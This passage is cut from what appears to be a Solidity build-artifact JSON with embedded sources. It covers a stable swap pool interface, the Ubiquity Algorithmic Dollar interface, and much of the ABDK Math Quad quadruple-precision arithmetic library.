returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/libs/ABDKMathQuad.sol\":{\"content\":\"// SPDX-License-Identifier: BSD-4-Clause\\n/*\\n * ABDK Math Quad Smart Contract Library. Copyright \\u00a9 2019 by ABDK Consulting.\\n * Author: Mikhail Vladimirov \\n */\\npragma solidity ^0.8.0;\\n\\n/**\\n * Smart contract library of mathematical functions operating with IEEE 754\\n * quadruple-precision binary floating-point numbers (quadruple precision\\n * numbers). As long as quadruple precision numbers are 16-bytes long, they are\\n * represented by bytes16 type.\\n */\\nlibrary ABDKMathQuad {\\n /*\\n * 0.\\n */\\n bytes16 private constant _POSITIVE_ZERO =\\n 0x00000000000000000000000000000000;\\n\\n /*\\n * -0.\\n */\\n bytes16 private constant _NEGATIVE_ZERO =\\n 0x80000000000000000000000000000000;\\n\\n /*\\n * +Infinity.\\n */\\n bytes16 private constant _POSITIVE_INFINITY =\\n 0x7FFF0000000000000000000000000000;\\n\\n /*\\n * -Infinity.\\n */\\n bytes16 private constant _NEGATIVE_INFINITY =\\n 0xFFFF0000000000000000000000000000;\\n\\n /*\\n * Canonical NaN value.\\n */\\n bytes16 private constant NaN = 0x7FFF8000000000000000000000000000;\\n\\n /**\\n * Convert signed 256-bit integer number into quadruple precision number.\\n *\\n * @param x signed 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromInt(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 256-bit integer number\\n * rounding towards zero. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 256-bit integer number\\n */\\n function toInt(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16638); // Overflow\\n if (exponent < 16383) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert unsigned 256-bit integer number into quadruple precision number.\\n *\\n * @param x unsigned 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromUInt(uint256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n uint256 result = x;\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into unsigned 256-bit integer number\\n * rounding towards zero. Revert on underflow. Note, that negative floating\\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\\n * without error, because they are rounded to zero.\\n *\\n * @param x quadruple precision number\\n * @return unsigned 256-bit integer number\\n */\\n function toUInt(bytes16 x) internal pure returns (uint256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n if (exponent < 16383) return 0; // Underflow\\n\\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\\n\\n require(exponent <= 16638); // Overflow\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n return result;\\n }\\n }\\n\\n /**\\n * Convert signed 128.128 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 128.128 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from128x128(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16255 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 128.128 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 128.128 bit fixed point number\\n */\\n function to128x128(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16510); // Overflow\\n if (exponent < 16255) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16367) result >>= 16367 - exponent;\\n else if (exponent > 16367) result <<= exponent - 16367;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert signed 64.64 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 64.64 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from64x64(int128 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint128(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16319 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 64.64 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 64.64 bit fixed point number\\n */\\n function to64x64(bytes16 x) internal pure returns (int128) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16446); // Overflow\\n if (exponent < 16319) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16431) result >>= 16431 - exponent;\\n else if (exponent > 16431) result <<= exponent - 16431;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(result <= 0x80000000000000000000000000000000);\\n return -int128(int256(result)); // We rely on overflow behavior here\\n } else {\\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\\n return int128(int256(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert octuple precision number into quadruple precision number.\\n *\\n * @param x octuple precision number\\n * @return quadruple precision number\\n */\\n function fromOctuple(bytes32 x) internal pure returns (bytes16) {\\n unchecked {\\n bool negative =\\n x &\\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\\n 0;\\n\\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\\n uint256 significand =\\n uint256(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFFF) {\\n if (significand > 0) return NaN;\\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n }\\n\\n if (exponent > 278526)\\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else if (exponent < 245649)\\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\\n else if (exponent < 245761) {\\n significand =\\n (significand |\\n 0x100000000000000000000000000000000000000000000000000000000000) >>\\n (245885 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 124;\\n exponent -= 245760;\\n }\\n\\n uint128 result = uint128(significand | (exponent << 112));\\n if (negative) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(result);\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into octuple precision number.\\n *\\n * @param x quadruple precision number\\n * @return octuple precision number\\n */\\n function toOctuple(bytes16 x) internal pure returns (bytes32) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF)\\n exponent = 0x7FFFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (236 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 245649 + msb;\\n }\\n } else {\\n result <<= 124;\\n exponent += 245760;\\n }\\n\\n result |= exponent << 236;\\n if (uint128(x) >= 0x80000000000000000000000000000000)\\n result |= 0x8000000000000000000000000000000000000000000000000000000000000000;\\n\\n return bytes32(result);\\n }\\n }\\n\\n /**\\n * Convert double precision number into quadruple precision number.\\n *\\n * @param x double precision number\\n * @return quadruple precision number\\n */\\n function fromDouble(bytes8 x) internal pure returns (bytes16) {\\n unchecked {\\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\\n\\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FF)\\n exponent = 0x7FFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (112 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 15309 + msb;\\n }\\n } else {\\n result <<= 60;\\n exponent += 15360;\\n }\\n\\n result |= exponent << 112;\\n if (x & 0x8000000000000000 > 0)\\n result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into double precision number.\\n *\\n * @param x quadruple precision number\\n * @return double precision number\\n */\\n function toDouble(bytes16 x) internal pure returns (bytes8) {\\n unchecked {\\n bool negative = uint128(x) >= 0x80000000000000000000000000000000;\\n\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF) {\\n if (significand > 0) return 0x7FF8000000000000;\\n // NaN\\n else\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000); // Infinity\\n }\\n\\n if (exponent > 17406)\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000);\\n // Infinity\\n else if (exponent < 15309)\\n return\\n negative\\n ? bytes8(0x8000000000000000) // -0\\n : bytes8(0x0000000000000000);\\n // 0\\n else if (exponent < 15361) {\\n significand =\\n (significand | 0x10000000000000000000000000000) >>\\n (15421 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 60;\\n exponent -= 15360;\\n }\\n\\n uint64 result = uint64(significand | (exponent << 52));\\n if (negative) result |= 0x8000000000000000;\\n\\n return bytes8(result);\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is NaN.\\n *\\n * @param x quadruple precision number\\n * @return true if x is NaN, false otherwise\\n */\\n function isNaN(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF >\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is positive or negative\\n * infinity.\\n *\\n * @param x quadruple precision number\\n * @return true if x is positive or negative infinity, false otherwise\\n */\\n function isInfinity(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ==\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\\n *\\n * @param x quadruple precision number\\n * @return sign of x\\n */\\n function sign(bytes16 x) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n if (absoluteX == 0) return 0;\\n else if (uint128(x) >= 0x80000000000000000000000000000000)\\n return -1;\\n else return 1;\\n }\\n }\\n\\n /**\\n * Calculate sign (x - y). Revert if either argument is NaN, or both\\n * arguments are infinities of the same sign.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return sign (x - y)\\n */\\n function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n // Not infinities of the same sign\\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\\n\\n if (x == y) return 0;\\n else {\\n bool negativeX =\\n uint128(x) >= 0x80000000000000000000000000000000;\\n bool negativeY =\\n uint128(y) >= 0x80000000000000000000000000000000;\\n\\n if (negativeX) {\\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\\n else return -1;\\n } else {\\n if (negativeY) return 1;\\n else return absoluteX > absoluteY ? int8(1) : -1;\\n }\\n }\\n }\\n }\\n\\n /**\\n * Test whether x equals y. NaN, infinity, and -infinity are not equal to\\n * anything.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return true if x equals to y, false otherwise\\n */\\n function eq(bytes16 x, bytes16 y) internal pure returns (bool) {\\n unchecked {\\n if (x == y) {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF <\\n 0x7FFF0000000000000000000000000000;\\n } else return false;\\n }\\n }\\n\\n /**\\n * Calculate x + y. Special values behave in the following way:\\n *\\n * NaN + x = NaN for any x.\\n * Infinity + x = Infinity for any finite x.\\n * -Infinity + x = -Infinity for any finite x.\\n * Infinity + Infinity = Infinity.\\n * -Infinity + -Infinity = -Infinity.\\n * Infinity + -Infinity = -Infinity + Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function add(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y) return x;\\n else return NaN;\\n } else return x;\\n } else if (yExponent == 0x7FFF) return y;\\n else {\\n bool xSign = uint128(x) >= 0x80000000000000000000000000000000;\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n bool ySign = uint128(y) >= 0x80000000000000000000000000000000;\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0)\\n return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y;\\n else if (ySignifier == 0)\\n return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x;\\n else {\\n int256 delta = int256(xExponent) - int256(yExponent);\\n\\n if (xSign == ySign) {\\n if (delta > 112) return x;\\n else if (delta > 0) ySignifier >>= uint256(delta);\\n else if (delta < -112) return y;\\n else if (delta < 0) {\\n xSignifier >>= uint256(-delta);\\n xExponent = yExponent;\\n }\\n\\n xSignifier += ySignifier;\\n\\n if (xSignifier >= 0x20000000000000000000000000000) {\\n xSignifier >>= 1;\\n xExponent += 1;\\n }\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else {\\n if (xSignifier < 0x10000000000000000000000000000)\\n xExponent = 0;\\n else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n } else {\\n if (delta > 0) {\\n xSignifier <<= 1;\\n xExponent -= 1;\\n } else if (delta < 0) {\\n ySignifier <<= 1;\\n xExponent = yExponent - 1;\\n }\\n\\n if (delta > 112) ySignifier = 1;\\n else if (delta > 1)\\n ySignifier =\\n ((ySignifier - 1) >> uint256(delta - 1)) +\\n 1;\\n else if (delta < -112) xSignifier = 1;\\n else if (delta < -1)\\n xSignifier =\\n ((xSignifier - 1) >> uint256(-delta - 1)) +\\n 1;\\n\\n if (xSignifier >= ySignifier) xSignifier -= ySignifier;\\n else {\\n xSignifier = ySignifier - xSignifier;\\n xSign = ySign;\\n }\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n uint256 msb = mostSignificantBit(xSignifier);\\n\\n if (msb == 113) {\\n xSignifier =\\n (xSignifier >> 1) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent += 1;\\n } else if (msb < 112) {\\n uint256 shift = 112 - msb;\\n if (xExponent > shift) {\\n xSignifier =\\n (xSignifier << shift) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent -= shift;\\n } else {\\n xSignifier <<= xExponent - 1;\\n xExponent = 0;\\n }\\n } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate x - y. Special values behave in the following way:\\n *\\n * NaN - x = NaN for any x.\\n * Infinity - x = Infinity for any finite x.\\n * -Infinity - x = -Infinity for any finite x.\\n * Infinity - -Infinity = Infinity.\\n * -Infinity - Infinity = -Infinity.\\n * Infinity - Infinity = -Infinity - -Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {return add(x, y ^ 0x80000000000000000000000000000000);}\\n }\\n\\n /**\\n * Calculate x * y. Special values behave in the following way:\\n *\\n * NaN * x = NaN for any x.\\n * Infinity * x = Infinity for any finite positive x.\\n * Infinity * x = -Infinity for any finite negative x.\\n * -Infinity * x = -Infinity for any finite positive x.\\n * -Infinity * x = Infinity for any finite negative x.\\n * Infinity * 0 = NaN.\\n * -Infinity * 0 = NaN.\\n * Infinity * Infinity = Infinity.\\n * Infinity * -Infinity = -Infinity.\\n * -Infinity * Infinity = -Infinity.\\n * -Infinity * -Infinity = Infinity.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y)\\n return x ^ (y & 0x80000000000000000000000000000000);\\n else if (x ^ y == 0x80000000000000000000000000000000)\\n return x | y;\\n else return NaN;\\n } else {\\n if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n }\\n } else if (yExponent == 0x7FFF) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return y ^ (x & 0x80000000000000000000000000000000);\\n } else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n xSignifier *= ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n xExponent += yExponent;\\n\\n uint256 msb =\\n xSignifier >=\\n 0x200000000000000000000000000000000000000000000000000000000\\n ? 225\\n : xSignifier >=\\n 0x100000000000000000000000000000000000000000000000000000000\\n ? 224\\n : mostSignificantBit(xSignifier);\\n\\n if (xExponent + msb < 16496) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb < 16608) {\\n // Subnormal\\n if (xExponent < 16496) xSignifier >>= 16496 - xExponent;\\n else if (xExponent > 16496)\\n xSignifier <<= xExponent - 16496;\\n xExponent = 0;\\n } else if (xExponent + msb > 49373) {\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else {\\n if (msb > 112) xSignifier >>= msb - 112;\\n else if (msb < 112) xSignifier <<= 112 - msb;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb - 16607;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate x / y. Special values behave in the following way:\\n *\\n * NaN / x = NaN for any x.\\n * x / NaN = NaN for any x.\\n * Infinity / x = Infinity for any finite non-negative x.\\n * Infinity / x = -Infinity for any finite negative x including -0.\\n * -Infinity / x = -Infinity for any finite non-negative x.\\n * -Infinity / x = Infinity for any finite negative x including -0.\\n * x / Infinity = 0 for any finite non-negative x.\\n * x / -Infinity = -0 for any finite non-negative x.\\n * x / Infinity = -0 for any finite non-negative x including -0.\\n * x / -Infinity = 0 for any finite non-negative x including -0.\\n *\\n * Infinity / Infinity = NaN.\\n * Infinity / -Infinity = -NaN.\\n * -Infinity / Infinity = -NaN.\\n * -Infinity / -Infinity = NaN.\\n *\\n * Division by zero behaves in the following way:\\n *\\n * x / 0 = Infinity for any finite positive x.\\n * x / -0 = -Infinity for any finite positive x.\\n * x / 0 = -Infinity for any finite negative x.\\n * x / -0 = Infinity for any finite negative x.\\n * 0 / 0 = NaN.\\n * 0 / -0 = NaN.\\n * -0 / 0 = NaN.\\n * -0 / -0 = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function div(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n } else if (yExponent == 0x7FFF) {\\n if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN;\\n else\\n return\\n _POSITIVE_ZERO |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) {\\n if 